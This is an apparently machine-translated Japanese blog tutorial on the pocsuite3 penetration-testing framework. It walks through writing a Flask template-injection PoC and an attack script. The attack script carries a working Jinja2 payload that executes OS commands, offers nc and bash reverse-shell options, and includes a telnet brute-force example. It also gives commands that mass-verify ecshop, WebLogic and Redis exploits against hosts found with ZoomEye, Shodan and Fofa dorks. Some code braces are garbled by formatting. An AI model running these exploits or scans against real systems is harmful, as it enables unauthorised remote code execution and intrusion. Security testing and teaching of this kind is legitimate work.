pocsuite3 のインストールと使用

序章

pocsuite3 は、Zhichuangyu 404 Lab によって開発および維持されている、オープン ソースのリモート脆弱性テストおよび概念実証開発フレームワークです。

プロジェクトアドレス

https://github.com/knownsec/pocsuite3

環境の構成とインストール

環境要件

  • Python 3.4+
  • Linux、Windows、Mac OSX、BSD

インストール(詳細はhttps://pocsuite.org/を参照

pip3 の直接インストール

pip3 install pocsuite3

または、最新の解凍ファイルをダウンロードしてください

wget https://github.com/knownsec/pocsuite3/archive/master.zip
unzip master.zip
pip3 install -r requirements.txt

Windows で

pocsuite ディレクトリに入り、python3 cli.py を実行します。

ヘルプ情報を表示 python3 cli.py -h

このように出力されれば、pocsuite3 のインストールは成功です
ここに画像の説明を挿入
Linux の場合は、
pocsuite を直接入力します。
ここに画像の説明を挿入

手順

具体的な方法は python cli.py -h または pocsuite -h で確認できます

実行モジュール

--verity 验证    POC

--attack 攻击   exp

--shell

ターゲット パラメータをロードします。

-u	选择单个目标
-f	从文件中导入多个目标,
-r	选择poc
-c	从配置文件中导入
-threads	设置线程

確認モード: ターゲットが脆弱であることを確認します

pocsuite3 -r tests/poc_example.py -u http://www.example.com/ --verify

攻撃モード: ターゲットに対して効果的な攻撃を開始します

pocsuite3 -r tests/poc_example.py -u http://www.example.com/ --attack

バッチ検証、txt への URL の書き込み

pocsuite3 -r test/poc_example.py -f url.txt --verify

tests ディレクトリ内のすべての PoC をロードして、ターゲットをテストします (スキャナーとして機能できます)。

pocsuite3 -r tests/ -u http://www.example.com --verify

マルチスレッドを使用します。デフォルトのスレッド数は 1 です

pocsuite3 -r test/ -f url.txt --verify --threads 10

コンソールモード

msf
python console.py または poc-consoleに似ています

利用可能なモジュールを確認する

 list

ここに画像の説明を挿入

Telnet の脆弱なパスワード モジュールを使用する

Pocsuite3 > use pocs\telnet_burst
Pocsuite3 (pocs\telnet_burst) > show options
Pocsuite3 (pocs\telnet_burst) > set rhost 192.168.8.1
Pocsuite3 (pocs\telnet_burst) > set rport 23
run

ここでは、例としてフラスコ テンプレート インジェクションの脆弱性を取り上げます。

pocsuite3 書き込み POC スクリプト

検証用に主にpoc定義の関数部分を書く

ここに画像の説明を挿入

poc-flask.py 脚本

from collections import OrderedDict
from urllib.parse import urljoin
import re
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY
 
 
class DemoPOC(POCBase):
    vulID = '1.1'
    version = '1.1'
    author = ['1.1']
    vulDate = '1.1'
    createDate = '1.1'
    updateDate = '1.1'
    references = ['flask']
    name = 'flask'
    appPowerLink = 'flask'
    appName = 'flask'
    appVersion = 'flask'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''
        flask
    '''
    samples = []
    category = POC_CATEGORY.EXPLOITS.REMOTE
 
    def _verify(self):
        result = {
    
    }
        path = "?name="
        url = self.url + path
        #print(url)
        payload = "{
    
    {22*22}}"
        #print(payload)
        try:
            resq = requests.get(url + payload)
            if resq and resq.status_code == 200 and "484" in resq.text:
                result['VerifyInfo'] = {
    
    }
                result['VerifyInfo']['URL'] = url
                result['VerifyInfo']['Name'] = payload
        except Exception as e:
            return 
        return self.parse_output(result)
 
    def _attack(self):
        return self._verify()
 
    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output
 
register_poc(DemoPOC)

コマンドライン

python3 cli.py -r /root/桌面/flask/poc-flask.py -u http://127.0.0.1:5000 --verify

ここに画像の説明を挿入

そうでなければ存在しません
ここに画像の説明を挿入

バッチ検証方法

python3 cli.py -r /root/桌面/flask/poc-flask.py --dork "server:http" --vuln-keyword "flask"

脆弱性キーワードのフラスコを検索すると、http プロトコルの URL が
ここに画像の説明を挿入
失敗し、スキャンアウトされませんでした
ここに画像の説明を挿入

pocsuite3 書き込み EXP スクリプト

主に exp で定義された関数部分を記述して
ここに画像の説明を挿入
exp-flask.py スクリプトを攻撃します

from collections import OrderedDict
from urllib.parse import urljoin
import re
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY
 
 
class DemoPOC(POCBase):
    vulID = '1.1'
    version = '1.1'
    author = ['1.1']
    vulDate = '1.1'
    createDate = '1.1'
    updateDate = '1.1'
    references = ['1.1']
    name = 'flack'
    appPowerLink = 'flack'
    appName = 'flask'
    appVersion = 'flask'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''
        
    '''
    samples = []
    category = POC_CATEGORY.EXPLOITS.REMOTE
 
    def _options(self):
        o = OrderedDict()
        payload = {
    
    
            "nc": REVERSE_PAYLOAD.NC,
            "bash": REVERSE_PAYLOAD.BASH,
        }
        o["command"] = OptDict(selected="bash", default=payload)
        return o
 
    def _verify(self):
        output = Output(self)
        result = {
    
    }
 
    def _attack(self):
        result = {
    
    }
        path = "?name="
        url = self.url + path
        #print(url)
        cmd = self.get_option("command")
        payload = 'name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__("os").popen("'+cmd+'").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'
        #print(payload)
        try:
            resq = requests.get(url + payload)
            t = resq.text
            t = t.replace('\n', '').replace('\r', '')
            print(t)
            t = t.replace(" ","")
            result['VerifyInfo'] = {
    
    }
            result['VerifyInfo']['URL'] = url
            result['VerifyInfo']['Name'] = payload
        except Exception as e:
            return
        return self.parse_attack(result)
 
    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output
 
 
register_poc(DemoPOC)

ペイロードは次のとおりです。

{
    
    % for c in [].__class__.__base__.__subclasses__() %}
{
    
    % if c.__name__ == 'catch_warnings' %}
  {
    
    % for b in c.__init__.__globals__.values() %}
  {
    
    % if b.__class__ == {
    
    }.__class__ %}
    {
    
    % if 'eval' in b.keys() %}
      {
    
    {
    
     b['eval']('__import__("os").popen("id").read()') }}
    {
    
    % endif %}
  {
    
    % endif %}
  {
    
    % endfor %}
{
    
    % endif %}
{
    
    % endfor %}

コマンドライン

python3 cli.py -r /root/桌面/flask/exp-flask.py -u http://127.0.0.1:5000 --attack --command ifconfig

ここに画像の説明を挿入
ここに画像の説明を挿入

pocsuite3 書き込みコンソール フォーム

ここに画像の説明を挿入
ここに画像の説明を挿入

検索エンジン インターフェースを呼び出す

パラメータ

–dork DORK	            Zoomeye Dork ,用于在ZoomEye 搜索目标
–max-page MAX_PAGE	    ZoomEye API 的请求翻页数(10 目标/页)
–search-type	        ZoomEye API 搜索类型,web 或者 host
–vul-keyword VULKEYWORD	Seebug 搜索关键词,用于在Seebug 搜索漏洞POC

Zoomeye 検索エンジン

ZoomEye を使用して ecshop を検索し、ecshop_rce.py を使用して検出し、スレッド数を 5 に指定します。

python3 cli.py -r pocs/ecshop_rce.py --dork ecshop --threads 5

ZoomEye からホストを呼び出して、POC をバッチで検証する

pocsuite -r weblogic_CVE-2017-10271.py --dork 'weblogic' --max-page 5 --thread 20 --verify

初段検索エンジン

python3 cli.py -r pocs/redis_unauthorized_access.py --dork-shodan “product:redis”  --shodan-token  “xxxx”

Fofa 検索エンジン

 python3 cli.py -r pocs/redis_unauthorized_access.py --dork-fofa "service:redis"  --fofa-user “xxx"  --fofa-token “xxx"

Seebug から poc を呼び出す

ZoomEye 検索サービスを redis のターゲットとして使用し、SSV-89339 の poc を呼び出して脆弱性を検証します。

pocsuite -r ssvid-89339  --dork service:redis --max-page 1 --threads 10

おすすめ

転載: blog.csdn.net/m0_52051132/article/details/129421133